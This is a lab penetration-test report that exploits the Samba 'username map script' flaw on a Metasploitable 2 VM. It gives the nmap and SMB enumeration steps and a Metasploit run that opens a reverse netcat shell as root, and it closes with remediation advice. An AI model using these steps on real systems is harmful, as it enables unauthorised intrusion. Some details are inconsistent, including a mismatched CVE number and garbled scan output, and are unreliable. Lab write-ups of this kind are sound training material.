

Exploitation of Samba Username Map Script Remote Command Execution Using Nmap and Metasploit

Author: Sudip Bastola

Target System: Metasploitble 2 Linux VM (192.168.83.131)

Attacker Platform: Kali Linux (192.168.83.129)

Assessment Date: July 15, 2026

1.Executive Summary

Penetration testing of the target computer was performed within the controlled lab environment in order to find out the security status of the machine under test. As a result of the assessment, the Server Message Block (SMB) service that operates Samba was found vulnerable to the Username Map Script Command Execution attack.

As a result of the attack, an attacker gains access to a remote command execution due to the presence of the vulnerability in Samba service configuration. The exploitation of the mentioned vulnerability was possible with the help of the Metasploit Framework.

Risk Summary Matrix

Metric	Details
Max Risk Rating	CRITICAL (10.0 / 10.0)
Primary Vulnerability	Unauthenticated Remote Code Execution (CVE-2011-2523)
System Compromise	Complete Administrative Takeover (Root Access Acquired)
Data Confidentiality	Severely Compromised — Full read access to filesystem and database parameters.
System Integrity	Severely Compromised — Full write, modify, and delete access over binary files and system logs

2.Scope and Methodology

The assessment followed a standard penetration testing methodology consisting of the following phases:

- Reconnaissance
- Scanning and Enumeration
- Vulnerability Assessment
- Exploitation
- Post-Exploitation Validation
- Reporting

Tools used during the assessment:

- Nmap
- SMBClient
- Enum4linux
- Metasploit Framework

3. Technical Finding and Exploitation Phase

Finding 01: Samba Username Map Script Remote Command Execution

Vulnerability type	Remote Code Execution
CVSS v3 Base Score	9.8 Critical
CVE ID	CVE-2007-2447
Access Vector	Remote

Step1. Host Discovery

Objective : Identify active hosts on the network

Command: nmap -sn <victim ip>

```
(root@kali)-[/home/sudip]
# nmap -sn 192.168.83.1/24
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-15 19:07 +0545
Nmap scan report for 192.168.83.1
Host is up (0.00062s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.83.2
Host is up (0.00029s latency).
MAC Address: 00:50:56:E8:C0:9E (VMware)
Nmap scan report for 192.168.83.131
Host is up (0.00067s latency).
MAC Address: 00:0C:29:79:6F:6F (VMware)
Nmap scan report for 192.168.83.254
Host is up (0.00062s latency).
MAC Address: 00:50:56:ED:BC:BC (VMware)
Nmap scan report for 192.168.83.129
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.98 seconds
```

Step2. Port Scanning

Objective: Identify open tcp ports

Command: `nmap -T4 -F <Victim ip>`

Expected open ports include: 139/tcp (NetBIOS), 445/tcp(SMB)

```
(root@kali)-[/home/sudip]
# nmap -T4 -F 192.168.83.131
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-15 19:07 +0545
Nmap scan report for 192.168.83.131
Host is up (0.0042s latency).
Not shown: 82 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
513/tcp   open  login
514/tcp   open  shell
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
5000/tcp  open  X11
3009/tcp  open  ajp13
MAC Address: 00:0C:29:79:6F:6F (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.73 seconds
```

Step3. Service Enumeration

Objective: Identify SMB service and version information.

Command: `nmap -sC -sV <victim ip>`

The scan identified the Samba service running on the target machine.

```

(root@kali)-[/home/sudip]
# nmap -sC -sV 192.168.83.131
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-15 19:09 +0545
Nmap scan report for 192.168.83.131
Host is up (0.0023s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|_STAT:
|_FTP server status:
|_Connected to 192.168.83.129
|_Logged in as ftp
|_TYPE: ASCII
|_No session bandwidth limit
|_Session timeout in seconds is 300
|_Control connection is plain text
|_Data connections will be plain text
|_vsftpd 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh          OpenSSH 4.7p1 Debian Bubuntu1 (protocol 2.0)
|_ssh-hostkey:
|_1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_2048 56:56:24:0f:21:1d:dea7:2b:ae:61:b1:24:3d:e0:f3 (RSA)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
|_sslv2:
|_SSLv2 supported
|_ciphers:
|_SSL2_RC2_128_CBC_WITH_MD5
|_SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_SSL2_RC4_128_WITH_MD5
|_SSL2_DES_192_EDE3_CBC_WITH_MD5
|_SSL2_RC4_128_EXPORT40_WITH_MD5
|_SSL2_DES_64_CBC_WITH_MD5
|_ssl-cert: Subject: commonName=ubuntu04-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
|_Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
|_ssl-date: 2026-07-15T13:24:26+00:00; 0s from scanner time.
|_smtp-command: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
53/tcp    open  domain       ISC BIND 9.4.2
|_dns-nsid:
|_bind.version: 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp   open  rpcbind      2 (RPC #100000)
|_rpcinfo:
|_program version port/proto service
|_100000 2 111/tcp rpcbind
|_100000 2 111/udp rpcbind
|_100003 2,3,4 2049/tcp nfs
Session Actions Edit View Help
|_100005 1,2,3 37322/udp mountd
|_100005 1,2,3 55708/tcp mountd
|_100021 1,3,4 38667/udp nlockmgr
|_100021 1,3,4 50143/tcp nlockmgr
|_100024 1 37393/udp status
|_100024 1 51985/tcp status
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login
514/tcp   open  tftp          tftpd
1099/tcp  open  java-rmi      GNU Classpath gmrregistry
1524/tcp  open  bindshell     Metasploitable root shell
2049/tcp  open  nfs           2-4 (RPC #100003)
2121/tcp  open  ftp           ProFTPD 1.3.1
3306/tcp  open  mysql         MySQL 5.0.51a-3ubuntu5
|_mysql-info:
|_Protocol: 10
|_Version: 5.0.51a-3ubuntu5
|_Thread ID: 8
|_Capabilities flags: 43564
|_Some Capabilities: Support41Auth, ConnectWithDatabase, LongColumnFlag, SupportsTransactions, Speaks41ProtocolNew, SupportsCompression, SwitchToSSLAfterHandshake
|_Status: Autocommit
|_Salt: Vah1e5X*98W_sE-qir*N
5432/tcp  open  postgresql    PostgreSQL DB 8.3.0 - 8.3.7
|_ssl-cert: Subject: commonName=ubuntu04-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
|_Not valid before: 2010-03-17T14:07:45
|_Not valid after: 2010-04-16T14:07:45
|_ssl-date: 2026-07-15T13:24:26+00:00; 0s from scanner time.
5900/tcp  open  vnc           VNC (protocol 3.3)
|_vnc-info:
|_Protocol version: 3.3
|_Security types:
|_VNC Authentication (2)
6000/tcp  open  x11           (access denied)
6069/tcp  open  irc           UnrealIRCd
|_irc-info:
|_users: 1
|_servers: 1
|_lusers: 1
|_lservers: 0
|_server: irc.Metasploitable.LAN
|_versions: Unreal3.2.8.1; irc.Metasploitable.LAN
|_uptime: 0 days, 0:03:40
|_source ident: nmap
|_source host: 89F8A301.93D13F46.FFFA6D40.IP
|_errors closing link: xmmedscd[192.168.83.129] (Quit: xmmedscd)
8009/tcp  open  ajp13         Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp  open  http          Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/5.5
|_http-server-header: Apache-Coyote/1.1
MAC Address: 00:0C:29:79:6F:6F (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h00m00s, deviation: 2h00m01s, median: 0s
|_smb2-time: Protocol negotiation failed (SMB2)
|_smb-security-mode:
|_account_used: guest
|_authentication_level: user
|_challenge_response: supported
|_message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb-os-discovery:
|_OS: Unix (Samba 3.0.20-Debian)
|_Computer name: metasploitable
|_NetBIOS computer name:
|_Domain name: localdomain
|_FQDN: metasploitable.localdomain
|_System time: 2026-07-15T09:24:19-04:00
|_
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.70 seconds

```

Step4. SMB Enumeration

Objective: Enumerate available SMB shares and gather system information.

Commands: `smbclient -L //<victim ip> -N`
`enum4linux <victim ip>`

These commands enumerate:

- Shared Folders
- Users
- Groups
- Operating system information
- NetBIOS information

```
(root@kali)~[/home/sudip]
# smbclient -L //192.168.83.131 -N
Anonymous login successful
```

Sharename	Type	Comment
print\$	Disk	Printer Drivers
tmp	Disk	oh noes!
opt	Disk	
IPC\$	IPC	IPC Service (metasploitable server (Samba 3.0.20-Debian))
ADMIN\$	IPC	IPC Service (metasploitable server (Samba 3.0.20-Debian))

```
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful
```

Server	Comment
WORKGROUP	Master
WORKGROUP	METASPLOITABLE

```
(root@kali)-[/home/sudip]
# enum4linux 192.168.83.131
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed Jul 15 19:13:18 2026
```

```
===== ( Target Information ) =====
Target ..... 192.168.83.131
RID Range ..... 500-550,1000-1050
Username ..... ''
Password ..... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
```

```
===== ( Enumerating Workgroup/Domain on 192.168.83.131 ) =====
```

```
[+] Got domain/workgroup name: WORKGROUP
```

```
===== ( Nbtstat Information for 192.168.83.131 ) =====
Fresh
Looking up status of 192.168.83.131
METASPLOITABLE <00> - B <ACTIVE> Workstation Service
METASPLOITABLE <03> - B <ACTIVE> Messenger Service
METASPLOITABLE <20> - B <ACTIVE> File Server Service
.. _MSBROWSE_.. <01> - <GROUP> B <ACTIVE> Master Browser
WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
WORKGROUP <1d> - B <ACTIVE> Master Browser
WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
Kali Linux 4.9
MAC Address = 00-00-00-00-00-00
```

```
===== ( Session Check on 192.168.83.131 ) =====
```

```
[+] Server 192.168.83.131 allows sessions using username '', password ''
```

```
===== ( Getting domain SID for 192.168.83.131 ) =====
```

```
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
```

```
[+] Can't determine if host is part of domain or part of a workgroup
```

```
===== ( OS information on 192.168.83.131 ) =====
```

```
[E] Can't get OS info with smbclient
```

```
[+] Got OS info for 192.168.83.131 from srvinfo:
METASPLOITABLE Wk Sv PrQ Unx NT SNT metasploitable server (Samba 3.0.20-Debian)
platform_id : 500
os version : 4.9
server type : 0x9a03
```

```
===== ( Users on 192.168.83.131 ) =====
```



```

( Users on 192.168.83.131 )
index: 0*1 RID: 0*3f2 acb: 0*00000011 Account: games Name: games Desc: (null)
index: 0*2 RID: 0*1f5 acb: 0*00000011 Account: nobody Name: nobody Desc: (null)
index: 0*3 RID: 0*4ba acb: 0*00000011 Account: bind Name: (null) Desc: (null)
index: 0*4 RID: 0*402 acb: 0*00000011 Account: proxy Name: proxy Desc: (null)
index: 0*5 RID: 0*4b4 acb: 0*00000011 Account: syslog Name: (null) Desc: (null)
index: 0*6 RID: 0*bb8 acb: 0*00000010 Account: user Name: just a user, lol Desc: (null)
index: 0*7 RID: 0*42a acb: 0*00000011 Account: www-data Name: www-data Desc: (null)
index: 0*8 RID: 0*3e8 acb: 0*00000011 Account: root Name: root Desc: (null)
index: 0*9 RID: 0*3fa acb: 0*00000011 Account: news Name: news Desc: (null)
index: 0*a RID: 0*4c0 acb: 0*00000011 Account: postgres Name: PostgreSQL administrator, ... Desc: (null)
index: 0*b RID: 0*3ec acb: 0*00000011 Account: bin Name: bin Desc: (null)
index: 0*c RID: 0*3f8 acb: 0*00000011 Account: mail Name: mail Desc: (null)
index: 0*d RID: 0*4c6 acb: 0*00000011 Account: distccd Name: (null) Desc: (null)
index: 0*e RID: 0*4ca acb: 0*00000011 Account: proftpd Name: (null) Desc: (null)
index: 0*f RID: 0*4b2 acb: 0*00000011 Account: dhcp Name: (null) Desc: (null)
index: 0*10 RID: 0*3ea acb: 0*00000011 Account: daemon Name: daemon Desc: (null)
index: 0*11 RID: 0*4b8 acb: 0*00000011 Account: sshd Name: (null) Desc: (null)
index: 0*12 RID: 0*3f4 acb: 0*00000011 Account: man Name: man Desc: (null)
index: 0*13 RID: 0*3f6 acb: 0*00000011 Account: lp Name: lp Desc: (null)
index: 0*14 RID: 0*4c2 acb: 0*00000011 Account: mysql Name: MySQL Server, ... Desc: (null)
index: 0*15 RID: 0*43a acb: 0*00000011 Account: gnats Name: Gnats Bug-Reporting System (admin) Desc: (null)
index: 0*16 RID: 0*4b0 acb: 0*00000011 Account: libuuid Name: (null) Desc: (null)
index: 0*17 RID: 0*42c acb: 0*00000011 Account: backup Name: backup Desc: (null)
index: 0*18 RID: 0*bb8 acb: 0*00000010 Account: msfadmin Name: msfadmin, ... Desc: (null)
index: 0*19 RID: 0*4c8 acb: 0*00000011 Account: telnetd Name: (null) Desc: (null)
index: 0*1a RID: 0*3ee acb: 0*00000011 Account: sys Name: sys Desc: (null)
index: 0*1b RID: 0*4b6 acb: 0*00000011 Account: klog Name: (null) Desc: (null)
index: 0*1c RID: 0*4bc acb: 0*00000011 Account: postfix Name: (null) Desc: (null)
index: 0*1d RID: 0*bbc acb: 0*00000011 Account: service Name: (null) Desc: (null)
index: 0*1e RID: 0*434 acb: 0*00000011 Account: list Name: Mailing List Manager Desc: (null)
index: 0*1f RID: 0*436 acb: 0*00000011 Account: irc Name: ircd Desc: (null)
index: 0*20 RID: 0*4be acb: 0*00000011 Account: ftp Name: (null) Desc: (null)
index: 0*21 RID: 0*4c4 acb: 0*00000011 Account: tomcat55 Name: (null) Desc: (null)
index: 0*22 RID: 0*3f0 acb: 0*00000011 Account: sync Name: sync Desc: (null)
index: 0*23 RID: 0*3fc acb: 0*00000011 Account: uucp Name: uucp Desc: (null)

user: [games] rid: [0*3f2]
user: [nobody] rid: [0*1f5]
user: [bind] rid: [0*4ba]
user: [proxy] rid: [0*402]
user: [syslog] rid: [0*4b4]
user: [user] rid: [0*bb8]
user: [www-data] rid: [0*42a]
user: [root] rid: [0*3e8]
user: [news] rid: [0*3fa]
user: [postgres] rid: [0*4c0]
user: [bin] rid: [0*3ec]
user: [mail] rid: [0*3f8]
user: [distccd] rid: [0*4c6]
user: [proftpd] rid: [0*4ca]
user: [dhcp] rid: [0*4b2]
user: [daemon] rid: [0*3ea]
user: [sshd] rid: [0*4b8]
user: [man] rid: [0*3f4]
user: [lp] rid: [0*3f6]
user: [mysql] rid: [0*4c2]
user: [gnats] rid: [0*43a]
user: [libuuid] rid: [0*4b0]
user: [backup] rid: [0*42c]
user: [msfadmin] rid: [0*bb8]
user: [telnetd] rid: [0*4c8]
user: [sys] rid: [0*3ee]
user: [klog] rid: [0*4b6]
user: [postfix] rid: [0*4bc]
user: [service] rid: [0*bbc]
user: [list] rid: [0*434]
user: [irc] rid: [0*436]
user: [ftp] rid: [0*4be]
user: [tomcat55] rid: [0*4c4]
user: [sync] rid: [0*3f0]
user: [uucp] rid: [0*3fc]

( Share Enumeration on 192.168.83.131 )

```

```

( Share Enumeration on 192.168.83.131 )

Sharename      Type      Comment
-----
print$         Disk      Printer Drivers
tmp            Disk      oh noes!
opt            Disk
IPC$           IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
ADMIN$         IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.

Server          Comment
-----
Workgroup       Master
WORKGROUP      METASPLOITABLE

[+] Attempting to map shares on 192.168.83.131
//192.168.83.131/print$ Mapping: DENIED Listing: N/A Writing: N/A
//192.168.83.131/tmp Mapping: OK Listing: OK Writing: N/A
//192.168.83.131/opt Mapping: DENIED Listing: N/A Writing: N/A

[e] Can't understand response:
NT STATUS NETWORK_ACCESS_DENIED listing \*
//192.168.83.131/IPC$ Mapping: N/A Listing: N/A Writing: N/A
//192.168.83.131/ADMIN$ Mapping: DENIED Listing: N/A Writing: N/A

( Password Policy Information for 192.168.83.131 )

Password:

root@kali:~/home/sudip

```


Step5. Exploitation Using Metasploit

Objective: Exploit the Samba Username Map Script vulnerability

Commands: msfconsole

search samba

use exploit/multi/samba/usermap_script

set RHOSTS <Victim IP> , set LHOST <Attacker IP>

exploit

Result: Remote shell successfully obtained

Command execution achieved on the target system.

```
(root@kali) ~# msfconsole
Metasploit tip: Store discovered credentials for later use with creds

msf5
msf5 > search samba

# Name
0 exploit/unix/webapp/citrix_access_gateway_exec
1 exploit/windows/license/calliclnt_getconfig
2 target: Automatic
3 target: Windows 2000 English
4 target: Windows XP English SP0-1
5 target: Windows XP English SP2
6 target: Windows 2003 English SP0
7 exploit/unix/misc/distcc_exec
8 exploit/windows/smb/group_policy_startup
9 target: Windows x86
10 target: Windows x64
11 post/linux/gather/enum_configs
12 auxiliary/scanner/rsync/modules_list
13 exploit/windows/fileformat/ms14_060_sandworm
14 exploit/unix/http/quest_kace_systems_management_rce
15 exploit/multi/samba/usermap_script
16 exploit/multi/samba/nttrans
17 exploit/linux/samba/setinfopolicy_heap
18 target: 213.5.11-dfsg-lubuntu2 on Ubuntu Server 11.10
19 target: 213.5.8-dfsg-lubuntu2 on Ubuntu Server 11.10
20 target: 213.5.8-dfsg-lubuntu2 on Ubuntu Server 11.04
21 target: 213.5.4-dfsg-lubuntu8 on Ubuntu Server 10.10
22 target: 213.5.6-dfsg-3squeeze6 on Debian Squeeze
23 target: 3.5.10-0.107-el5 on CentOS 5
24 auxiliary/admin/smb/samba_symlink_traversal
25 auxiliary/scanner/smb/smb_uninit_cred
26 exploit/linux/samba/chain_reply
27 target: Linux (Debian5 3.2.5-4lenny6)
28 target: Debugging Target
29 exploit/linux/samba/is_known_pipename
30 target: Automatic (Interact)

https://metasploit.com

+ -- [ metasploit v6.4.135-dev
+ -- [ 2,654 exploits - 1,338 auxiliary - 2,141 payloads
+ -- [ 433 post - 49 encoders - 14 nops - 12 evasion

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > search samba

Matching Modules

# Name Disclosure Date Rank Check Description
0 exploit/unix/webapp/citrix_access_gateway_exec 2018-12-21 excellent Yes Citrix Access Gateway Command Execution
1 exploit/windows/license/calliclnt_getconfig 2005-03-02 average No Computer Associates License Client GETCONFIG Overflow
2 target: Automatic . . .
3 target: Windows 2000 English . . .
4 target: Windows XP English SP0-1 . . .
5 target: Windows XP English SP2 . . .
6 target: Windows 2003 English SP0 . . .
7 exploit/unix/misc/distcc_exec 2002-02-01 excellent Yes DistCC Daemon Command Execution
8 exploit/windows/smb/group_policy_startup 2015-01-26 manual No Group Policy Script Execution From Shared Resource
9 target: Windows x86 . . .
10 target: Windows x64 . . .
11 post/linux/gather/enum_configs . normal No Linux Gather Configurations
12 auxiliary/scanner/rsync/modules_list . normal No List Rsync Modules
13 exploit/windows/fileformat/ms14_060_sandworm 2014-10-14 excellent No MS14-060 Microsoft Windows OLE Package Manager Code E
14 exploit/unix/http/quest_kace_systems_management_rce 2018-05-31 excellent Yes Quest KACE Systems Management Command Injection
15 exploit/multi/samba/usermap_script 2007-05-14 excellent No Samba 'username map script' Command Execution
16 exploit/multi/samba/nttrans 2003-04-07 average No Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
17 exploit/linux/samba/setinfopolicy_heap 2012-04-10 normal Yes Samba SetInformationPolicy AuditEventsInfo Heap Overf
18 target: 213.5.11-dfsg-lubuntu2 on Ubuntu Server 11.10 . . .
19 target: 213.5.8-dfsg-lubuntu2 on Ubuntu Server 11.10 . . .
20 target: 213.5.8-dfsg-lubuntu2 on Ubuntu Server 11.04 . . .
21 target: 213.5.4-dfsg-lubuntu8 on Ubuntu Server 10.10 . . .
22 target: 213.5.6-dfsg-3squeeze6 on Debian Squeeze . . .
23 target: 3.5.10-0.107-el5 on CentOS 5 . . .
24 auxiliary/admin/smb/samba_symlink_traversal . normal No Samba Symlink Directory Traversal
25 auxiliary/scanner/smb/smb_uninit_cred . normal Yes Samba _netr_ServerPasswordSet Uninitialized Credentia
26 exploit/linux/samba/chain_reply 2010-06-16 good No Samba chain_reply Memory Corruption (Linux x86)
27 target: Linux (Debian5 3.2.5-4lenny6) . . .
28 target: Debugging Target . . .
29 exploit/linux/samba/is_known_pipename 2017-03-24 excellent Yes Samba is_known_pipename() Arbitrary Module Load
30 target: Automatic (Interact) . . .
```

```

29 exploit/linux/samba/is_known_pipename 2017-03-24 excellent Yes Samba is_known_pipename() Arbitrary Module Load
30 \ target: Automatic (Interact) . . . .
31 \ target: Automatic (Command) . . . .
32 \ target: Linux x86 . . . .
33 \ target: Linux x86_64 . . . .
34 \ target: Linux ARM (LE) . . . .
35 \ target: Linux ARMv6 . . . .
36 \ target: Linux MIPS . . . .
37 \ target: Linux MIPSLE . . . .
38 \ target: Linux MIPS64 . . . .
39 \ target: Linux MIPS64LE . . . .
40 \ target: Linux PPC . . . .
41 \ target: Linux PPC64 . . . .
42 \ target: Linux PPC64 (LE) . . . .
43 \ target: Linux SPARC . . . .
44 \ target: Linux SPARC64 . . . .
45 \ target: Linux s390x . . . .
46 auxiliary/dos/samba/lsa_addprivs_heap normal No Samba lsa_io_privilege_set Heap Overflow
47 auxiliary/dos/samba/lsa_transnames_heap normal No Samba lsa_io_trans_names Heap Overflow
48 exploit/linux/samba/lsa_transnames_heap 2007-05-14 good Yes Samba lsa_io_trans_names Heap Overflow
49 \ target: Linux vsyscall . . . .
50 \ target: Linux Heap Brute Force (Debian/Ubuntu) . . . .
51 \ target: Linux Heap Brute Force (Gentoo) . . . .
52 \ target: Linux Heap Brute Force (Mandriva) . . . .
53 \ target: Linux Heap Brute Force (RHEL/CentOS) . . . .
54 \ target: Linux Heap Brute Force (SUSE) . . . .
55 \ target: Linux Heap Brute Force (Slackware) . . . .
56 \ target: Linux Heap Brute Force (OpenWRT MIPS) . . . .
57 \ target: DEBUG . . . .
58 exploit/osx/samba/lsa_transnames_heap 2007-05-14 average No Samba lsa_io_trans_names Heap Overflow
59 \ target: Automatic . . . .
60 \ target: Mac OS X 10.4.x x86 Samba 3.0.10 . . . .
61 \ target: Mac OS X 10.4.x PPC Samba 3.0.10 . . . .
62 \ target: DEBUG . . . .
63 exploit/solaris/samba/lsa_transnames_heap 2007-05-14 average No Samba lsa_io_trans_names Heap Overflow
64 \ target: Solaris 8/9/10 x86 Samba 3.0.21-3.0.24 . . . .
65 \ target: Solaris 8/9/10 SPARC Samba 3.0.21-3.0.24 . . . .
66 \ target: DEBUG . . . .
67 auxiliary/dos/samba/read_nttrans_ea_list normal No Samba read_nttrans_ea_list Integer Overflow
68 exploit/freebsd/samba/trans2open great No Samba trans2open Overflow (*BSD x86)
69 exploit/linux/samba/trans2open great No Samba trans2open Overflow (Linux x86)
70 exploit/osx/samba/trans2open great No Samba trans2open Overflow (Mac OS X PPC)
71 exploit/solaris/samba/trans2open great No Samba trans2open Overflow (Solaris SPARC)
72 \ target: Samba 2.2.x - Solaris 9 (sun4u) - Bruteforce . . . .
73 \ target: Samba 2.2.x - Solaris 7/8 (sun4u) - Bruteforce . . . .
74 exploit/windows/http/sambar6_search_results 2003-06-21 normal Yes Sambar 6 Search Results Buffer Overflow
75 \ target: Automatic . . . .
76 \ target: Windows 2000 . . . .
77 \ target: Windows XP . . . .

Interact with a module by name or index. For example info 77, use 77 or use exploit/windows/http/sambar6_search_results
After interacting with a module you can manually set a TARGET with set TARGET 'Windows XP'

msf > >exploit/multi/samba/usermap_script
[*] Unknown command: >exploit/multi/samba/usermap_script. Run the help command for more details.
msf > use exploit/multi/samba/usermap_script
[*] No payload configured - defaulting to cmd/unix/reverse_netcat

View the full module info with the info, or info -d command.

msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.83.131
RHOSTS => 192.168.83.131
msf exploit(multi/samba/usermap_script) > set LHOST 192.168.83.129
LHOST => 192.168.83.129
msf exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.83.129:4444
[*] Command Shell session 1 opened (192.168.83.129:4444 -> 192.168.83.131:40207) at 2026-07-15 19:17:48 +0545

```

Step6. Post-Exploitation Validation

Objective: Verify successful access to the compromised system.

Commands: whoami

Id

ls -la

These commands confirm:

- Current user
- User privileges
- File system access

```

whoami
root
id
uid=0(root) gid=0(root)
ls -la
total 10613
drwxr-xr-x 21 root root 4096 Jul 14 12:15 .
drwxr-xr-x 21 root root 4096 Jul 14 12:15 ..
-rwx----- 1 root root 1188612 Jul 9 02:28 FLTIOktayp
-rwx----- 1 root root 1188612 Jul 9 04:15 MJHlsTTEn
-rwx----- 1 root root 1188612 Jul 12 22:51 MtkQrvinN
-rwx----- 1 root root 1188612 Jul 14 04:05 PHKrvily
-rwx----- 1 root root 1188612 Jul 8 23:08 UoQRVwyQS
drwxr-xr-x 2 root root 4096 May 13 2012 bin
drwxr-xr-x 4 root root 1024 May 13 2012 boot
lrwxrwxrwx 1 root root 11 Apr 28 2010 cdrom -> media/cdrom
drwxr-xr-x 13 root root 13820 Jul 15 09:20 dev
drwxr-xr-x 94 root root 4096 Jul 15 09:20 etc
drwxr-xr-x 6 root root 4096 Apr 16 2010 home
-rwx----- 1 root root 1188612 Jul 14 12:15 iNlahWUAvj
drwxr-xr-x 2 root root 4096 Mar 16 2010 initrd
lrwxrwxrwx 1 root root 32 Apr 28 2010 initrd.img -> boot/initrd.img-2.6.24-16-server
drwxr-xr-x 13 root root 4096 May 13 2012 lib
drwx----- 2 root root 16384 Mar 16 2010 lost+found
-rwx----- 1 root root 1188612 Jul 12 22:42 mRmNEIWnc
drwxr-xr-x 4 root root 4096 Mar 16 2010 media
drwxr-xr-x 3 root root 4096 Apr 28 2010 mnt
-rw----- 1 root root 19520 Jul 15 09:20 nohup.out
drwxr-xr-x 2 root root 4096 Mar 16 2010 opt
-rwx----- 1 root root 1188612 Jul 13 22:45 prKRWgkKefCW
dr-xr-xr-x 115 root root 0 Jul 15 09:20 proc
-rwx----- 1 root root 1188612 Jul 10 10:15 rKwGAgIzKuN
drwxr-xr-x 13 root root 4096 Jul 15 09:20 root
drwxr-xr-x 2 root root 4096 May 13 2012 sbin
drwxr-xr-x 2 root root 4096 Mar 16 2010 srv
drwxr-xr-x 12 root root 0 Jul 15 09:20 sys
drwxrwxrwt 4 root root 4096 Jul 15 09:32 tmp
drwxr-xr-x 12 root root 4096 Apr 28 2010 usr
drwxr-xr-x 14 root root 4096 Mar 17 2010 var
lrwxrwxrwx 1 root root 29 Apr 28 2010 vmlinuz -> boot/vmlinuz-2.6.24-16-server

```

4.Impact Assessment

Samba Username Map Script flaw makes it possible for any unauthenticated hacker to run remote commands arbitrarily. Possible impacts include:

- Unauthorized remote system access
- Execution of arbitrary operating system commands
- Compromise of confidential data
- Modifications and deletions of files
- Further attacks on internal systems

5.Remediation and Recommendations

Immediate Actions

- Install an updated and supported version of Samba.
- Turn off any unneeded SMB services.
- Constrain SMB connections through firewall configuration.
- Use SMB within trusted internal networks only.

Long-term Security Measures

- Install regular security updates.
- Implement central logging and monitoring
- Conduct routine vulnerability assessments.

- Install IDS/IPS (Intrusion Detection/Prevention Systems).
- Network segmentation is a requirement.
- Follow the principle of least privilege.

6. Disclaimer

This assessment was performed within a controlled laboratory environment for educational purposes . Unauthorized scanning or exploitation of systems without explicit permission is illegal and unethical.